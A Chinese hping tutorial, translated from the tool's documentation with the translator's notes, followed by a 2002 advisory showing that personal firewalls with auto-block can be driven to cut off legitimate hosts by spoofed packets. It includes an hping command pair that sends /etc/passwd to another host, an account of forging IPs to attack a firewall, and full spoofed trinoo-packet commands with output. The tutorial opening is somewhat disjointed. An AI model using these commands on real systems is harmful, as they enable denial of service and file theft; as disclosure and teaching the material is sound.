hping是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个ICMP请求/响应工具,它还支持TCP.UDP.ICMP,RAW-IP协议,以及一个路由模型HPING一直被用作安全工具,可以用来测试网络及主机的安全,它有以下功能
第一排是序列号,第2排是应答的序列号,所以你可以预见主机的序列号(三次握手后,数值基本不再变,定在167772160了)
-b --badcksum 发出一个错误校验和的UDP/TCP包
-tcp-timestamp
-F -fin set FIN tcp flag
-S --syn set SYN tcp flag.
-R --rst set RST tcp flag.
-P --push set PUSH tcp flag.
-A --ack set ACK tcp flag.
-U --urg set URG tcp flag.
-X --xmas set Xmas tcp flag.
-Y --ymas set Ymas tcp flag.
其他:
-d --data data size 设置包大小,注意:指定DATA为40时,输出如下:
HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes
-E --file filename 指定包内容如FILENAME里的一样
-e --sign signature 指定包头的内容
-j --dump Dump received packets in hex.
-J --print Dump received packets‘s printable characters. -B --safe
-B --safe 确保数据完整发出 例如:要发送A的/etc/passwd给B
[host_a]# hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
[host_b]# hping2 host_a --listen signature --safe --icmp
-U --END 如果你用了--FILE项,当EOF到达后,此项可以帮助你自动停止接收无用的数据,
-T --traceroute 路由模式,自己摸索吧,
--tr -keep-ttl 一个和路由有关的项,举例: hping2 host --traceroute --ttl 5 --tr-keep-ttl.
--tr-stop 当ICMP一旦不可到达时,自动停止发送
--tr-no-rrt 在路由模式里不显示RTT信息,
--tcpexitcode 在某些规则下可探知主机是否存活
另外的:
标准TCP输出格式: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
当用HPING -V测试时,结果如下: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0
win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0
自己比较其中异同吧
标准UDP输出 len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
ICMP输出格式: 主机可达时: ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
主机不可到达时:TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net
译者注:
翻译本文时,并没完全按照原文,而且有些地方确实不好翻译,另外还加了一些自己的想法,不过比较琐碎,现在再说一个大概吧.
我本来是用它来测试天网防火墙的,可以说,在它攻击下,天网显得很脆弱,我可以伪造任何一个可以想到的IP来攻击同学,(当然,同学事先知道的).天网的默认规则如下:
UDP一概不理会,TCP高端口也不理会,至于最高端口在什么地方,懒的测试,假如对方IP为192.168.3.2.你也可以伪造出
:192.168.3.2试图PING 192.168.3.2的报文,我试图联接对方udp139端口,回车后:
hping 192.168.3.2 (eth0 192.168.3.2 ):udp mode set,28 headers +13data bytes
如果发送到12345端口(没开),显示 udp Port Unreachable
如果发到防火墙屏蔽的某端口:transit (关键字)
我还用过SING 不过那命令参数更复杂,说明也不很详悉,但在伪造IP上,SING 更强大的是,可以伪造MAC地址,我用TCPDUMP监视本机数据流时,发现它们攻击时,本机只能记录一些ARP应答,其余什么也没有,就写这么多吧,我会在以后继续探测HPING 与SING的作用,详悉关于HPING,的消息,去WWW.hping.org 去看吧,他们是一群很不错的人,我是CIEL 邮箱106130@sohu.com
欢迎探讨, 你可以随意转载本文, 但请注明作者及转处.
多家个人防火墙存在远端拒绝服务安全问题
Oct 10,2002
作者:Yiming Gong
http://security.zz.ha.cn
声明:任何形式的摘抄必须保留上述作者和http地址
首先要说明的一点是,这并不是一种多么新的技术手段,但是下面描述的问题确实是广泛的存在的,而且实现起来太简单了,应该引起我们的重视。
随着安全意识的增强,越来越多的网络使用者开始在他们的pc机器上使用软件防火墙,而新的防火墙很多都有了auto-block功能,这些防火墙在工作时,对危害级别较低的防卫手段往往是屏蔽数据包,但是当这些防火墙检测到高危害的数据时,auto-block会起作用,将来源ip地址(注意是来源ip地址而不是数据包)block了,可惜的是目前本人接触到的几乎全部PC用软件个人防火墙都不是基于状态的,这样就产生了一个问题,当恶意人士以伪造的IP地址发送假的攻击数据包时,防火墙会不加判断将这些伪造的IP地址屏蔽,OK,知道了这一点,我们假冒GOOGLE,DNS 服务器 ,OICQ的聊天服务器的IP地址来向目标系统发送攻击数据包……
而且,非常不幸的是目前业界领先的许多厂家的产品,比如:Norton personal firewall 2002,BlackICE等都存在这个问题。
我们可以来个实际的例子:
step 1:目标主机安装了blackice,它的 ip address是 ip.add.of.victim
step 2:发起攻击的一太linux 机器,上面安装了hping (可以从
www.hping.org下载)
执行如下命令
---
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add. of.dnsserver
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.google.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
[root@ yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.sina.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
---
上面的三个命令干了同一件事情,以伪造的ip发送假的trinoo攻击数据包.
结果:在目标主机上所有伪造的ip地址网络连接被block了,也就是对目标主机ip.add.of.victim而言,它的dns服务器,google和sina都无法访问了。
我很怀疑目前的个人防火墙只要存在auto-block功能,就存在这一问题。